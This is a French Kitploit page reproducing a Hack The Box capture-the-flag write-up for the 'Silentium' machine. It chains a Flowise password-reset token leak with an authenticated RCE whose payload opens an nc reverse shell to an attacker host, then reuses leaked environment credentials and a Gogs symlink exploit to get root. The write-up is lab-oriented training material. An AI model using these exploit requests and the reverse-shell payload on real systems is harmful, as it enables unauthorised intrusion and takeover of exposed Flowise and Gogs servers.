Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
HTB-Silentium-Writeup — Hack The Box - Writeup de la machine Silentium | CVE-2025-58434, CVE-2025-59528, CVE-2025-8110 | Kitploit
Outils/GitHubGitHub/twappz/htb-silentium-writeup
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationCollecte d'InformationsSécurité WebCTFTests d'IntrusionApprentissage et ÉducationÉvasion de Conteneur
GitHubtwappz/htb-silentium-writeup

HTB-Silentium-Writeup

Hack The Box - Writeup de la machine Silentium | CVE-2025-58434, CVE-2025-59528, CVE-2025-8110

15il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

HTB - Silentium Writeup

Hack The Box Difficulty OS

Informations sur la machine

  • Nom : Silentium
  • OS : Linux
  • Difficulté : Facile
  • CVEs : CVE-2025-58434, CVE-2025-59528, CVE-2025-8110

Énumération

Scan Nmap

root@kitploit:~
nmap -sC -sV -p- --min-rate 5000 <IP> -oN nmap.txt

Ports ouverts : 22 (SSH), 80 (HTTP)

Hôtes virtuelsstaging.silentium.htb exécute Flowise 3.0.5


Accès initial — RCE Flowise

CVE-2025-58434 — Fuite du jeton de réinitialisation de mot de passe sans authentification

L'endpoint forgot-password divulgue le tempToken directement dans la réponse de l'API.

root@kitploit:~
curl -s http://staging.silentium.htb/api/v1/account/forgot-password \
  -X POST -H "Content-Type: application/json" \
  -d '{"user":{"email":"[email protected]"}}'

Utilisez le tempToken divulgué pour réinitialiser le mot de passe :

root@kitploit:~
curl -s http://staging.silentium.htb/api/v1/account/reset-password \
  -X POST -H "Content-Type: application/json" \
  -d '{"user":{"email":"[email protected]","tempToken":"<TOKEN>","password":"Hacked123!"}}'

CVE-2025-59528 — RCE authentifiée via CustomMCP

Connectez-vous pour obtenir la clé API, puis déclenchez la RCE :

root@kitploit:~
curl -s http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <API_KEY>" \
  -d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(()=>{process.mainModule.require(\"child_process\").exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <LHOST> 443 >/tmp/f\");return 1;})()})"}}'

Obtention d'un shell dans le conteneur Docker en tant que root.


Évasion du conteneur

Vérification des variables d'environnement :

root@kitploit:~
env

Identifiants trouvés :

  • FLOWISE_USERNAME=ben
  • FLOWISE_PASSWORD=F1l3_d0ck3r

Connexion SSH à l'hôte :

root@kitploit:~
ssh ben@<IP>

Élévation de privilèges — Gogs CVE-2025-8110

Gogs tourne en interne sur le port 3001 en tant que root.

Mise en place d'un tunnel SSH :

root@kitploit:~
ssh -L 8080:127.0.0.1:3001 ben@<IP>

Compte créé sur Gogs via http://127.0.0.1:8080, jeton API généré.

CVE-2025-8110 — Contournement de lien symbolique dans l'API PutContents

Utilisation de l'exploit de TYehan :

root@kitploit:~
python3 exploit.py \
  --url http://127.0.0.1:8080 \
  --username <user> \
  --password <pass> \
  --token <token> \
  --host <LHOST> \
  --port 4446

Obtention d'un shell root ! 🎉


Flags

  • Flag utilisateur : /home/ben/user.txt
  • Flag root : /root/root.txt

Outils utilisés

  • nmap
  • curl
  • ffuf
  • netcat
  • Python3

Références

  • CVE-2025-58434
  • CVE-2025-59528
  • CVE-2025-8110 Ajouté dans /etc/hosts :
Télécharger l’outil